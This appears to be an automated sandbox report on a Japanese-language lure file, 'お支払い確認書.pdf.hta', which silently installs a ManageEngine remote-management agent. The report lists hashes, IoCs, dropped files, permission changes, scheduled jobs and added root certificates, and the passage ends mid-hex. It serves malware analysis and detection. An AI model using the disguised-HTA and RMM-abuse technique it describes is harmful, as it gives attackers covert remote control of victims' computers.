Analysis
- user interaction
yes - max time kernel
108s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20260911-ja - resource tags
arch:x64arch:x86image:win10v2004-20260911-jalocale:ja-jpos:windows10-2004-x64systemwindows - submitted
16/09/2026, 09:24
Static task
static1
Behavioral task
behavioral1
Sample
お支払い確認書.pdf.hta
Resource
win10v2004-20260911-ja
windows10-2004-x64
28 signatures
600 seconds
General
- Target お支払い確認書.pdf.hta
- Size 156KB
- Sample260916-ldff9ahn9x
- SHA256 df86cfbd50e4efc55ef8ff22f4e69a5d328dbc2e42d8e8e71d29ba3880dbf219
- MD5 c7881a76431fd4bfc14c515646ab0120
- SHA1 40052cf2e2cfa1689bee43eb947d17d0712b41a7
- SHA512 89dcfea743bb1c1d4b529855d1b977db05fb27ce5696ea48cea6f09598490afbed1ebd9e8d5001b7b02e1ac6002e99c2b3ff4f5e07fbdd68d231808c51663994
- SSDEEP 3072:wdzj1WNQBQXqMDe3M6Vcyur9rZg7rGcgCw2hNYnrRFqcV:OjXSfDe3M6VIOGMwvrTrV
- TLSH T147F3019D2BB44CEC59B001BBE2DDBB94ED210CB7E1C2DC11951168F2DF11297B8D857A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation mshta.exe - DCAgent remote management tool 4 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral1/files/0x00070000000242a0-29.dat hacktool_dcagent behavioral1/files/0x00070000000242d1-255.dat hacktool_dcagent behavioral1/files/0x0007000000024343-511.dat hacktool_dcagent behavioral1/files/0x00070000000242c1-643.dat hacktool_dcagent - Executes dropped EXE 26 IoCs
pid Process 636 dcagentregister.exe 4284 7za.exe 2188 dcagentservice.exe 1648 7za.exe 2992 7za.exe 4756 dcstatusutil.exe 3240 dcagentservice.exe 736 CRU_Reporter.exe 1692 dcusbsummary.exe 3036 dcconfig.exe 2020 dcusb64.exe 3308 dcstatusutil.exe 2212 dcondemand.exe 4104 dcswmeter.exe 2380 dcinventory.exe 2992 dcagentregister.exe 3836 dcconfig.exe 5024 dcconfig.exe 3496 UEMSAgentHealthChecker.exe 3500 UEMSAgentHCHelper.exe 956 UEMSAgentHCHelper.exe 4912 UEMSAgentHCHelper.exe 1884 dcinventory.exe 3928 DCProcessMonitor.exe 3828 dcuploadlogs.exe 4620 7za.exe - Loads dropped DLL 64 IoCs
pid Process 4884 MsiExec.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 2188 dcagentservice.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 4756 dcstatusutil.exe 3240 dcagentservice.exe 1692 dcusbsummary.exe 3036 dcconfig.exe 3036 dcconfig.exe 3308 dcstatusutil.exe 2212 dcondemand.exe 3036 dcconfig.exe 4104 dcswmeter.exe 3036 dcconfig.exe 3308 dcstatusutil.exe 2380 dcinventory.exe 3308 dcstatusutil.exe 2212 dcondemand.exe 2212 dcondemand.exe 3036 dcconfig.exe 3308 dcstatusutil.exe 2992 dcagentregister.exe 2992 dcagentregister.exe 2212 dcondemand.exe 3308 dcstatusutil.exe 3308 dcstatusutil.exe 2992 dcagentregister.exe 2992 dcagentregister.exe 2380 dcinventory.exe 2992 dcagentregister.exe 2380 dcinventory.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 4564 icacls.exe 2208 icacls.exe 4672 icacls.exe 4704 icacls.exe 1336 icacls.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 24 4976 msiexec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-br.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\vault\ME_UEMS\storage\csr.pem dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uems_crypto_x64.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-settings.xml dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Announcement.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\user.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\close_top_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dccomponentregister.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcconfigexec.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcscreenrec.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\EC_LogAnalyzer.ps1 msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\wmi-classes.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Alert.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz1324.tmp dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\WakeOnLan.exe.config 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_pt_PT.properties 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_button.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win7.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_software.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcparsehandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwolsettings.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\WakeOnLan.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_sl_SI.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Network_Connection.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\driverfiles.7z 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHcComHelper.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240757765.tmp dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentserviceaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcswmeteraccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMSRemoteInstallerService.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Internet_Connection.log DCProcessMonitor.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\AgentHook.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_msp_image.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagenteventaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentupgrade.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\hostondemandaccess.log dcondemand.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcconfig_vmdrUtils.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\arrow_pull_left.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\wsClientSocket.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentQPPMupgrade.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdeploymenterror.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\hostondemandaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BinaryInfo.json msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\partialApp.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdsagentwindow.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ro_RO.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcfilteraccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UemsScheduledScriptAccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcicon16.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip 7za.exe - Drops file in Windows directory 21 IoCs
description ioc Process File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\Installer\e592bd9.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI30CA.tmp msiexec.exe File created C:\Windows\Installer\e592be2.msi msiexec.exe File opened for modification C:\Windows\Installer\e592be4.mst msiexec.exe File opened for modification C:\Windows\Installer\e592bd9.msi msiexec.exe File created C:\Windows\Installer\e592bda.mst msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\e592be4.mst msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI3A03.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Installer\MSIA64A.tmp msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File opened for modification C:\Windows\Installer\e592bda.mst msiexec.exe File created C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File opened for modification C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1452 cmd.exe 2720 cmd.exe 2252 cmd.exe 2028 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 10 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 5c000000010000000400000000080000190000000100000010000000b171a743f9c285ef92408477a87508880f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c760300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d214000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a84040000000100000010000000284be530b79c5966ff647ebcd898b22f2000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f22000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 0f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c760300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d22000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 140000000100000014000000c914c8412bdba7bf8facd19f3721bf0f3e14ad53030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f20f0000000100000020000000edc7c96a0452ef560b0e8b820fa2af702038af1a366a27727ababbdffb9b73352000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 14000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a840300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d20f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c762000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 040000000100000010000000284be530b79c5966ff647ebcd898b22f14000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a840300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d20f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c76190000000100000010000000b171a743f9c285ef92408477a87508885c0000000100000004000000000800002000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010